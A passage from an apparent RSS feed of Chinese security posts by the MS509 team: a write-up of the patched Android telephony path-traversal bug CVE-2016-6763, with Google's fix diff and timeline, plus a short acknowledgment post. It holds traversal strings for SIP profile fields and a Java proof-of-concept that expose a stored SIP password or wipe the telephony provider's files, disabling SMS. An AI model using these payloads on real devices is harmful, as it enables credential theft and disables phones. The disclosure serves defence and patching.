<p style="line-height: 25.6px;"><img style="line-height: 25.6px; white-space: normal; text-align: center; background-color: rgb(255, 255, 255);" title="1444706553487851.gif" data-ratio="0.11875" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=60bb7fb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FjKzAUW2rMBwxibGWwbR9NTzicF72uArHzAW1ibKdMA8BUoTSUwE4M37diacWVMETWetDDemg6wh2D1GNLTGWybYV7g%2F0%3Fwx_fmt%3Dgif"/><br/></p><p style="white-space: normal; line-height: 25.6px;"><em>责任编辑：支书Woojune</em></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 10px; display: inline-block; width: 556px; border: 2px dotted rgb(192, 200, 209); border-radius: 15px; box-sizing: border-box;"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="box-sizing: border-box;"><section class="" style="color: rgb(51, 51, 51); box-sizing: border-box;"><section style="box-sizing: border-box;"><em>前些日子，团队 heeeeen 大牛，发了一篇全英文的<span style="color: rgb(51, 51, 51); line-height: 25.6px; white-space: pre-wrap;">CVE-2016-6763漏洞分析文章（<em style="color: rgb(51, 51, 51); line-height: 25.6px; white-space: normal; background-color: rgb(255, 255, 255);">Details of Denial of service vulnerability in Telephony，详见历史消息或团队主页www.ms509.com</em>），有些粉丝通过微信公众号私信小编，直呼太高大上、看不懂，有没有接地气一点的，为此小编特意请 <em style="color: rgb(51, 51, 51); line-height: 25.6px; white-space: normal; background-color: rgb(255, 255, 255);">heeeeen 大牛来了版接地气的，还有什么其他需求尽管私信小编，小编我会尽力满足</em></span></em></section></section></section></section></section></section></section></section><h3 style=" clear: both; font-weight: 700; margin-bottom: 28px; font-size: 24px; line-height: 1.1667; color: rgb(51, 51, 51) ; ; ; ; "><br/></h3><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x00</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">概要</span></section></section></section></section></section></section><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; ">Google 12月的安全公告修复了我们提交的一个Telephony拒绝服务漏洞。</p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; ">* CVE: CVE-2016-6763<br/>* BugID: A-31530456<br/>* 严重性: 高<br/>* 影响的Google设备: All<br/>* Updated AOSP versions: 4.4.4, 5.0.2, 5.1.1, 6.0, 6.0.1, 7.0</p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x01</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">漏洞详情</span></section></section></section></section></section></section><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; ">漏洞位于负责sip账户序列化和反序列化的SipProfileDb.java中。见deleteProfile、saveProfile和retriveSipProfileName等方法，存在目录穿越，mProfileDirectory和Sip profile name（形式为：sip账户@sip主机名）未经检查就直接拼接在了一起，而Sip profile name允许存在包括’/’和’..’等在内的特殊字符，因此本地攻击者可以通过构建包含这些特殊字符的Sip profile name，将sip序列化文件存储于属于radio用户的的任意目录。</p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><img data-s="300,640" data-type="png" data-w="1446" data-ratio="0.7344398340248963" src="https://wechat2rss.xlab.app/img-proxy/?k=de882cd6&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD3JCqhy1eHemvT9SbJI8Df2wPDIcqibNbf1s1NPpnUdxibSWiaPibps2HKDeLITXWaSe2sr7KjdeyAG0A%2F0%3Fwx_fmt%3Dpng"/><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x02</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">漏洞利用</span></section></section></section></section></section></section><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="line-height: 1.6;">这个漏洞允许具有物理接触权限的本地攻击者或者被欺骗的用户在radio用户的目录下创建一个名字可控的文件夹，或者删除radio用户目录下的所有文件。在报给Google的漏洞报告中，我们基于Nexus 6P设备和Android 6.0.1版本，设想了两种需要物理接触和用户交互的攻击场景，但根据Google安全公告，不排除他们发现了自动化的攻击面。</span><br/></p><h5 style=" clear: both; font-weight: 700; margin-top: 56px; margin-bottom: 28px; font-size: 17px; letter-spacing: 0.1em; line-height: 1.2353; text-transform: uppercase; color: rgb(51, 51, 51) ; ; ; ; ">窃取SIP账户口令</h5><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; ">假设手机上已有一个SIP账户：alice@CompromisedSite，口令为”12345″</p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; ">1. 打开电话应用的设置-&gt;通话-&gt;通话账号-&gt;Sip账号，对已有账号进行修改；<br/>2. 将用户名修改为”alice/”，将服务器名修改为“CompromisedSite/../../../../../../../../sdcard/”，点击保存。</p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; ">sip 账户配置文件将出现在sdcard目录，可以直接查看这个配置文件获得原始口令“12345”</p><pre class="lang:default decode:true" style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ; ">shell@angler:/sdcard $ ls -a -l
-rw-rw—- root sdcard_rw 1843 2016-09-12 14:58 .pobj</pre><h5 style=" clear: both; font-weight: 700; margin-top: 56px; margin-bottom: 28px; font-size: 17px; letter-spacing: 0.1em; line-height: 1.2353; text-transform: uppercase; color: rgb(51, 51, 51) ; ; ; ; ">禁用短信或者电话功能</h5><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; ">1. 打开电话应用的设置-&gt;通话-&gt;通话账号-&gt;Sip账号，添加一个新的Sip账号；<br/>2. 用户名填“alice/”，服务器名填“somesite/../../../../../../../../data/data/com.android.providers.telephony/“，密码随意，然后点击保存；<br/>3. 由于com.android.phone将会对目录名和序列化的sip配置文件中的sip profile name进行检查，这个账户不会出现在Sip账户的ListView中，然而由于目录穿越的存在，sip配置文件仍然会存储于/data/data/com.android.providers.telephony/目录下；<br/>4. 使用以下代码，将刚才添加的Sip账号显示出来；</p><pre class="lang:default decode:true " style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ; ">public class MainActivity extends AppCompatActivity {

Button m_btn = null;

@Override
protected void onCreate(Bundle savedInstanceState) {
super.onCreate(savedInstanceState);
setContentView(R.layout.activity_main);

m_btn = (Button)findViewById(R.id.siptest);

m_btn.setOnClickListener(new View.OnClickListener() {
@Override
public void onClick(View v) {
Intent i = new Intent();
i.setComponent(new ComponentName(“com.android.phone”,
“com.android.services.telephony.sip.SipPhoneAccountSettingsActivity”));

PhoneAccountHandle handle = new PhoneAccountHandle(new ComponentName(“com.android.phone”,
“com.android.services.telephony.sip.SipConnectionService”),
“alice/@somesite/../../../../../../../../data/data/com.android.providers.telephony/”);
i.putExtra(TelecomManager.EXTRA_PHONE_ACCOUNT_HANDLE, handle);

startActivity(i);
}
});
}
}</pre><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; ">5. 将服务器修改</p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; ">为“somesite/../../../../../../../../data/data/com.android.providers.telephony/databases/mmssms.db”，并点击保存，这将依次调用SipProfileDb.java中的deleteProfile和savaProfile方法。因此，首先是com.android.providers.telephony目录下的所有文件被删除，紧接着建立databases目录以及其下的mmssms.db目录。</p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><img data-s="300,640" data-type="png" data-w="1440" data-ratio="1.7777777777777777" src="https://wechat2rss.xlab.app/img-proxy/?k=bbed48db&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD3JCqhy1eHemvT9SbJI8Df2cPA8bmEXGjbNaYOxwlXTs9Rd2MTbZ7ibE5qpMSvTKMicOhky1YAYKMkA%2F0%3Fwx_fmt%3Dpng"/><br/></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; ">此时，手机的所有短信功能将被禁用，既不能收，也不能发。</p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><img class="alignnone size-full wp-image-187" data-ratio="1.0442708333333333" width="768" data-type="jpeg" data-w="768" height="802" style="border-width: 0px; border-style: initial; border-color: initial; vertical-align: middle;" src="https://wechat2rss.xlab.app/img-proxy/?k=c364192b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD3JCqhy1eHemvT9SbJI8Df2p05OfSBMT1rlEFY2mnibOOqySCQEoJ6LhPY5Y67ibZbskBG9oQtmicic9Q%2F0%3Fwx_fmt%3Djpeg"/></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; ">logcat显示sqlite错误，因为我们在/data/data/com.android.providers.telephony/databases/放了一个假的mmsms.db 文件(目录)占位，而使真正的mmssms.db无法恢复。如果使用假的telephony.db，则可以禁用电话功能，或者瞄准/data/misc/radio/目录下的其他文件进行占位，都会对手机的radio功能带来影响。</p><pre class="lang:default decode:true " style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ; ">09-14 10:19:44.593 3862 4522 E SQLiteLog: (1032) statement aborts at 58: [UPDATE sms SET read=?,seen=? WHERE thread_id=1 AND date&lt;=9223372036854775807 AND read=0]
09-14 10:19:44.593 3862 4522 E DatabaseUtils: Writing exception to parcel
09-14 10:19:44.593 3862 4522 E DatabaseUtils: android.database.sqlite.SQLiteReadOnlyDatabaseException: attempt to write a readonly database (code 1032)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteConnection.nativeExecuteForChangedRowCount(Native Method)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteConnection.executeForChangedRowCount(SQLiteConnection.java:732)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteSession.executeForChangedRowCount(SQLiteSession.java:754)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteStatement.executeUpdateDelete(SQLiteStatement.java:64)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteDatabase.updateWithOnConflict(SQLiteDatabase.java:1576)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.database.sqlite.SQLiteDatabase.update(SQLiteDatabase.java:1522)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at com.android.providers.telephony.SmsProvider.update(SmsProvider.java:744)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.content.ContentProvider$Transport.update(ContentProvider.java:355)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.content.ContentProviderNative.onTransact(ContentProviderNative.java:222)
09-14 10:19:44.593 3862 4522 E DatabaseUtils: at android.os.Binder.execTransact(Binder.java:453)</pre><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; ">由于占位文件的存在，普通用户只有通过恢复工厂设置重新启用短信功能。</p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x03</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">修复</span></section></section></section></section></section></section><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; ">Google的修复比较严谨，不是简单的过滤’/’猥琐字符。</p><pre class="lang:default decode:true " style=" font-size: 13.6px; line-height: 1.2353; max-width: 100%; overflow: auto; white-space: pre-wrap; word-wrap: break-word; min-height: 1.5em; color: rgb(51, 51, 51) ; ; ; ; ; ; ; ; ; ">@@ -20,6 +20,7 @@

import android.content.Context;
import android.net.sip.SipProfile;
+import android.util.EventLog;
import android.util.Log;

import java.io.File;
@@ -51,9 +52,13 @@
mSipSharedPreferences = new SipSharedPreferences(context);
}

– public void deleteProfile(SipProfile p) {
+ public void deleteProfile(SipProfile p) throws IOException {
synchronized(SipProfileDb.class) {
– deleteProfile(new File(mProfilesDirectory + p.getProfileName()));
+ File profileFile = new File(mProfilesDirectory, p.getProfileName());
+ if (!isChild(new File(mProfilesDirectory), profileFile)) {
+ throw new IOException(“Invalid Profile Credentials!”);
+ }
+ deleteProfile(profileFile);
if (mProfilesCount &lt; 0) retrieveSipProfileListInternal();
mSipSharedPreferences.setProfilesCount(–mProfilesCount);
}
@@ -69,7 +74,10 @@
public void saveProfile(SipProfile p) throws IOException {
synchronized(SipProfileDb.class) {
if (mProfilesCount &lt; 0) retrieveSipProfileListInternal();
– File f = new File(mProfilesDirectory + p.getProfileName());
+ File f = new File(mProfilesDirectory, p.getProfileName());
+ if (!isChild(new File(mProfilesDirectory), f)) {
+ throw new IOException(“Invalid Profile Credentials!”);
+ }
if (!f.exists()) f.mkdirs();
AtomicFile atomicFile =
new AtomicFile(new File(f, PROFILE_OBJ_FILE));
@@ -141,4 +149,19 @@
}
return null;
}
+
+ /**
+ * Verifies that the file is a direct child of the base directory.
+ */
+ private boolean isChild(File base, File file) {
+ if (base == null || file == null) {
+ return false;
+ }
+ if (!base.equals(file.getAbsoluteFile().getParentFile())) {
+ Log.w(TAG, “isChild, file is not a child of the base dir.”);
+ EventLog.writeEvent(0x534e4554, “31530456”, -1, “”);
+ return false;
+ }
+ return true;
+ }
}</pre><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><br/></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding: 2px; display: inline-block; box-sizing: border-box; background-color: rgb(0, 0, 0);"><section class="" style="margin-right: 5px; padding-right: 8px; padding-left: 8px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(249, 110, 87);"><section style="box-sizing: border-box;"><span style="font-size: 20px;">0x04</span></section></section><section class="" style="padding-right: 5px; padding-left: 5px; display: inline-block; color: rgb(255, 255, 255); box-sizing: border-box;"><section style="box-sizing: border-box;"><span style="font-size: 20px;">时间线</span></section></section></section></section></section></section><p style="margin-bottom: 28px; color: rgb(51, 51, 51);">2016-09-12: 上报Google<br/>2016-10-04: Google确认漏洞，评级高<br/>2016-12-05: 发布补丁<br/>2016-12-08: 公开</p><blockquote style="margin-top: 5px; margin-bottom: 5px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px; border: 0px none; white-space: normal; max-width: 100%; font-family: 微软雅黑; font-size: 14px; line-height: 24px; color: rgb(51, 51, 51); box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(12, 137, 24); box-sizing: border-box !important; word-wrap: break-word !important;">版权声明：</span></strong></blockquote><p style="margin-top: 5px; margin-bottom: 5px; padding: 5px 10px; white-space: normal; max-width: 100%; min-height: 1em; color: rgb(62, 62, 62); font-family: 微软雅黑; font-size: 14px; line-height: 24px; border: 0px; box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(102, 102, 102); box-sizing: border-box !important; word-wrap: break-word !important;">本文由MS509团队成员原创，转载请注明来源</span></strong></p><section style="line-height: 25.6px; white-space: normal; box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="margin-top: 10px; margin-bottom: 10px; box-sizing: border-box;"><section class="" style="padding-right: 1em; padding-left: 1em; display: inline-block; text-align: center; box-sizing: border-box;"><span class="" style="padding: 0.3em 0.5em; display: inline-block; border-radius: 0.5em; font-size: 14.08px; color: rgb(255, 255, 255); box-sizing: border-box; background-color: rgb(24, 141, 42);"><section style="box-sizing: border-box;"><span style="font-size: 16px;">MS509简介：</span></section></span> </section><section class="" style="margin-top: -1em; padding: 20px 10px 10px; border: 1px solid rgb(192, 200, 209); text-align: center; box-sizing: border-box; background-color: rgb(239, 239, 239);"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;"><section class="" style="box-sizing: border-box;"><section class="" style="text-align: left; box-sizing: border-box;"><section style="box-sizing: border-box;"><em><em><span style="line-height: 24px; white-space: pre-wrap;">MS509为“中国网安”开展互联网攻防技术研究的专业团队，当前主攻方向包括WEB安全、移动安全、二进制安全等</span><strong style="line-height: 24px; white-space: pre-wrap;">。</strong><strong>更多团队动态，尽在www.ms509.com</strong></em></em></section></section></section></section></section></section></section></section><p style="line-height: 25.6px;"><br/></p><section class="aimeibian imbselect" style="line-height: 25.6px; white-space: normal; border: 0px none;"><section style="text-align: center; border: 0px solid rgb(0, 0, 0);"><section style="display: inline-block;"><section style="width: 21em; border: 0px solid rgb(0, 0, 0);"><img style="width: auto;" class="" data-type="gif" data-ratio="0.532" data-w="500" src="https://wechat2rss.xlab.app/img-proxy/?k=1b0b4184&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIPmdz4nc0ndM0T4dvLW5NpN7vzZs7eUsDzJQ38oWic3ickec4N848AicAvQ%2F0%3Fwx_fmt%3Dgif"/></section><section style="margin-top: -10.5em; margin-left: 0.8em; width: 8em; height: 8em;"><img data-s="300,640" data-type="jpeg" data-w="258" data-ratio="1" src="https://wechat2rss.xlab.app/img-proxy/?k=10c9108b&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FaE2cYq7AtD3Wj7oTjFmiaDo7D4jQgfeIP3WSctzWffhLdFjx0W28oHbAQiaqtW7zYu7kGO75vdZZT69TR7iapNpNw%2F0%3Fwx_fmt%3Djpeg"/><br/></section></section></section></section><p style="line-height: 25.6px;"><br/></p><p style="line-height: 25.6px;"><br/></p><section class="aimeibian" data-ele="" style="line-height: 25.6px; white-space: normal;"><section class="aimeibian" data-ele="" style="max-width: 100%; border: 0px none; box-sizing: border-box !important; word-wrap: break-word !important;"><section style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><p style="max-width: 100%; word-wrap: break-word; font-size: 15.5556px; min-height: 1.5em; line-height: 2em; word-break: normal; border-radius: 5px; color: rgb(255, 255, 255); text-align: center; box-sizing: border-box !important; background-color: rgb(89, 150, 235);"><span style="max-width: 100%; color: inherit; box-sizing: border-box !important; word-wrap: break-word !important;">↓↓↓ 点击&#34;阅读原文&#34; 【查看更多信息】  </span></p></section></section></section>



<p><a href="http://www.ms509.com/?p=542">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=6831f529&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzAwODgxNTA2NA%3D%3D%26mid%3D2650935251%26idx%3D1%26sn%3D490656dfb2f71a4f2781e5b6ab1406df%26subscene%3D0">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 21 Dec 2016 17:31:00 +0800</pubDate>
    </item>
    <item>
      <title>MS509团队获得Google致谢</title>
      <link>https://mp.weixin.qq.com/s?__biz=MzAwODgxNTA2NA==&amp;mid=2650935240&amp;idx=1&amp;sn=71645a2d31b9a777788af22b4f2fb846</link>
      <description>近日，Google发布了2016年12月份的Android安全公告，修复了我们发现的一个有关Telephon</description>
      <content:encoded><![CDATA[<p>
<span>小荷才露尖尖角</span> <span>2016-12-14 14:48</span> <span style="display: inline-block;"></span>
</p>

<p>近日，Google发布了2016年12月份的Android安全公告，修复了我们发现的一个有关Telephon</p>
<p></p>



<p>
<img src="https://wechat2rss.xlab.app/img-proxy/?k=22afb026&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FaE2cYq7AtD1vbRlnjhgSdDRvTg5u2icOYcG0icR5iartbCibiaRWZggGMbEa97RfD0iajUbh5gz92HYib8ddhmTZheTcg%2F0%3Fwx_fmt%3Djpeg"/>
</p>


<p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;"></span></p><p style="line-height: 25.6px;"><img style="line-height: 25.6px; white-space: normal; text-align: center; background-color: rgb(255, 255, 255);" title="1444706553487851.gif" data-ratio="0.11875" data-w="640" src="https://wechat2rss.xlab.app/img-proxy/?k=60bb7fb5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz%2FjKzAUW2rMBwxibGWwbR9NTzicF72uArHzAW1ibKdMA8BUoTSUwE4M37diacWVMETWetDDemg6wh2D1GNLTGWybYV7g%2F0%3Fwx_fmt%3Dgif"/><br/></p><p style="white-space: normal; line-height: 25.6px;"><em>责任编辑：支书Woojune</em></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><br/></p><section style="box-sizing: border-box; background-color: rgb(255, 255, 255);"><section class="Powered-by-XIUMI V5" style="   box-sizing: border-box; " powered-by="xiumi.us"><section class="" style=" margin-top: 0.5em; margin-bottom: 0.5em; text-align: center;  box-sizing: border-box; "><section class="" style="box-sizing: border-box;"><section style="width: 15px; height: 15px; float: left; border-top-width: 2px; border-top-style: solid; border-top-color: rgb(249, 110, 87); border-left-width: 2px; border-left-style: solid; border-left-color: rgb(249, 110, 87); box-sizing: border-box;"></section><section style="width: 15px; height: 15px; float: left; border-top-width: 2px; border-top-style: solid; border-top-color: rgb(249, 110, 87); border-left-width: 2px; border-left-style: solid; border-left-color: rgb(249, 110, 87); margin-left: -10px; margin-top: -5px; box-sizing: border-box;"></section><section style="width: 15px; height: 15px; float: right; border-top-width: 2px; border-top-style: solid; border-top-color: rgb(249, 110, 87); border-right-width: 2px; border-right-style: solid; border-right-color: rgb(249, 110, 87); box-sizing: border-box;"></section><section style="width: 15px; height: 15px; float: right; border-top-width: 2px; border-top-style: solid; border-top-color: rgb(249, 110, 87); border-right-width: 2px; border-right-style: solid; border-right-color: rgb(249, 110, 87); margin-right: -10px; margin-top: -5px; box-sizing: border-box;"></section><section style="clear: both; box-sizing: border-box;"></section><section style="margin-top: -10px; margin-bottom: -10px; padding-right: 10px; padding-left: 10px; box-sizing: border-box;"><section class="" style="border: 2px solid transparent; padding: 10px; box-sizing: border-box;"><section class="Powered-by-XIUMI V5" style="box-sizing: border-box;" powered-by="xiumi.us"><section class="" style="   box-sizing: border-box; "><section class="" style="box-sizing: border-box;"><section style="box-sizing: border-box;"><p style="margin-bottom: 28px; line-height: 25.6px; color: rgb(51, 51, 51); text-align: left;"><strong><span style="font-size: 16px;">近日，Google发布了2016年12月份的</span><span style="font-size: 16px;">Android安全公告</span><span style="font-size: 16px;">，修复了我们发现的一个有关Telephony的拒绝服务漏洞，并予以致谢。</span></strong></p><p style="margin-bottom: 28px; line-height: 25.6px; color: rgb(51, 51, 51); text-align: left;"><strong><span style="font-size: 16px;"><span style="color: rgb(51, 51, 51); font-size: 16px; line-height: 25.6px; white-space: pre-wrap;">该漏洞编号为CVE-2016-6763，影响所有Android系统版本，</span><span style="font-size: 16px; line-height: 25.6px; white-space: pre-wrap; color: rgb(255, 0, 0);">严重性为高</span></span></strong></p></section></section></section></section></section></section><section style="width: 15px; height: 15px; float: left; border-bottom-width: 2px; border-bottom-style: solid; border-bottom-color: rgb(249, 110, 87); border-left-width: 2px; border-left-style: solid; border-left-color: rgb(249, 110, 87); box-sizing: border-box;"></section><section style="width: 15px; height: 15px; float: left; border-bottom-width: 2px; border-bottom-style: solid; border-bottom-color: rgb(249, 110, 87); border-left-width: 2px; border-left-style: solid; border-left-color: rgb(249, 110, 87); margin-left: -10px; margin-top: 5px; box-sizing: border-box;"></section><section style="width: 15px; height: 15px; float: right; border-bottom-width: 2px; border-bottom-style: solid; border-bottom-color: rgb(249, 110, 87); border-right-width: 2px; border-right-style: solid; border-right-color: rgb(249, 110, 87); box-sizing: border-box;"></section><section style="width: 15px; height: 15px; float: right; border-bottom-width: 2px; border-bottom-style: solid; border-bottom-color: rgb(249, 110, 87); border-right-width: 2px; border-right-style: solid; border-right-color: rgb(249, 110, 87); margin-right: -10px; margin-top: 5px; box-sizing: border-box;"></section><section style="clear: both; box-sizing: border-box;"></section></section></section></section></section><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><br/></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><img class="aligncenter size-full wp-image-521" data-ratio="0.35970333745364647" width="1618" data-type="png" data-w="1618" height="582" style="border-width: 0px; border-style: initial; border-color: initial; vertical-align: middle; display: block; margin: 7px auto; clear: both;" src="https://wechat2rss.xlab.app/img-proxy/?k=6c00c0e2&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD1vbRlnjhgSdDRvTg5u2icOYSDbXeQsPGrJn5FBhiaKGXcPbzt9a2ibia8nPMPnjPcibaqEr1iccsWZycvQ%2F0%3Fwx_fmt%3Dpng"/></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><span style="font-size: 16px;">该漏洞可使手机永久损坏（需重置工厂设置恢复），Google对该漏洞的描述如下：</span></p><p style=" margin-bottom: 28px; color: rgb(51, 51, 51) ; ; ; ; ; "><img class="aligncenter size-full wp-image-522" data-ratio="0.3362944162436548" width="1576" data-type="png" data-w="1576" height="530" style="border-width: 0px; border-style: initial; border-color: initial; vertical-align: middle; display: block; margin: 7px auto; clear: both;" src="https://wechat2rss.xlab.app/img-proxy/?k=d3f5d4bc&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FaE2cYq7AtD1vbRlnjhgSdDRvTg5u2icOY6ORVsa7bW1KbRIicx3DIGDrznrSH7IOmGD5qRCaSKzlGicsW41SNkSCg%2F0%3Fwx_fmt%3Dpng"/></p><p style="margin-bottom: 28px; color: rgb(51, 51, 51);"><strong><span style="font-size: 16px;">漏洞详细分析详见团队主页</span></strong><span style="font-size: 16px;">，链接</span><span style="font-size: 16px;">：<a href="http://www.ms509.com/?p=524" target="_blank">http://www.ms509.com/?p=524</a></span></p><p style="margin-bottom: 28px; color: rgb(51, 51, 51);"><span style="font-size: 16px;"></span></p><blockquote style="margin-top: 5px; margin-bottom: 5px; padding-top: 5px; padding-right: 10px; padding-bottom: 5px; border: 0px none; white-space: normal; max-width: 100%; font-family: 微软雅黑; font-size: 14px; line-height: 24px; color: rgb(51, 51, 51); box-sizing: border-box !important; word-wrap: break-word !important; background-color: rgb(241, 241, 241);"><strong style="max-width: 100%; box-sizing: border-box !important; word-wrap: break-word !important;"><span style="max-width: 100%; color: rgb(12, 137, 24); box-sizing: border-box !important; word-wrap: break-word !important;">版权声明：</span></strong></blockquote><p style="margin-top: 5px; 